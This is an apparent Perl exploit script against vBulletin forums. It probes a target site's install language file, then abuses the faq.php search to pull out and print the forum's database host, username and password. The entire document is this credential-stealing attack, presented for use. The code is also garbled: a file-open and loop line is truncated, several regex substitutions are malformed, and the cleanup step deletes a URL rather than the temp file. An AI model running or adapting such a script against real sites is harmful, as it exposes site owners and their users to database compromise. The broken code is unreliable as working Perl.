#!/usr/bin/perl
use strict;
use LWP::Simple;
use HTML::Parser;
use Data::Dumper;
my $url = shift @ARGV;
my $line;
die "No URL specified on command line." unless (defined $url);
my $url2 = "$url\/install\/vbulletin-language.xml";
my $content = get($url2); #put site html in $content.
die "get failed" if (!defined $content);

if ($content =~ m/database_ingo/) {
    $url2 = "$url\/faq.php\?s=\&do=search\&q=data\&match=all\&titlesonly=0";
    $content = get($url2);
    die "Get Failed" if (!defined $content);
    open(MYDATA, ">aaaaa.txt");
    print MYDATA $content;
    close MYDATA;
    open(NEDATA, ") {
            if ($line =~ m/Host:/) {
                $line =~ s/Database\//;
                $line =~ s/\//;
                print "$line\n";
            }
            if ($line =~ m/Username:/) {
                $line =~ s/Database//;
                $line =~ s///;
                print "$line\n";
            }
            if ($line =~ m/Password:/) {
                $line =~ s/Database//;
                $line =~ s///;
                print "$line\n";
            }
        }
    close NEDATA;
    unlink($url2);
} else {
print "Not vulnerable!\n";
};